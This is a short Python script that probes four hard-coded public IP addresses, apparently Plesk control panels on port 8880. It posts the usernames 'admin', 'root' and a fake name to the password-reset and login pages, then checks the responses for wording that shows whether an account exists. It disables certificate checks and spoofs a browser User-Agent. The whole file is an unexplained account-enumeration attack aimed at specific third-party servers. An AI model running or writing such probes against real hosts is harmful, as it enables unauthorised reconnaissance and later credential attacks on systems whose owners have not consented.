import asyncio, re
import aiohttp

HOSTS = [("216.70.69.240", 8880, "http"), ("70.32.79.121", 8880, "http"),
         ("104.156.60.235", 8880, "http"), ("205.186.132.62", 8880, "http")]
NAMES = ["admin", "root", "nosuchuser12345"]

async def main():
    tout = aiohttp.ClientTimeout(total=20)
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
        for ip, port, sc in HOSTS:
            base = f"{sc}://{ip}:{port}"
            print("=====", ip)
            for name in NAMES:
                for path, field in (("/get_password.php", "login_name"), ("/login_up.php", "login_name")):
                    try:
                        async with s.post(base + path, data={field: name, "email": name}, ssl=False, allow_redirects=True) as r:
                            t = await r.text()
                        low = t.lower()
                        marks = [k for k in ("not found", "does not exist", "no such", "sent", "incorrect", "unknown") if k in low]
                        print(f"  {path:18s} {name:16s} -> {r.status} {marks} len={len(t)}")
                    except Exception as e:
                        print(f"  {path:18s} {name:16s} -> ERR {type(e).__name__}")

asyncio.run(main())
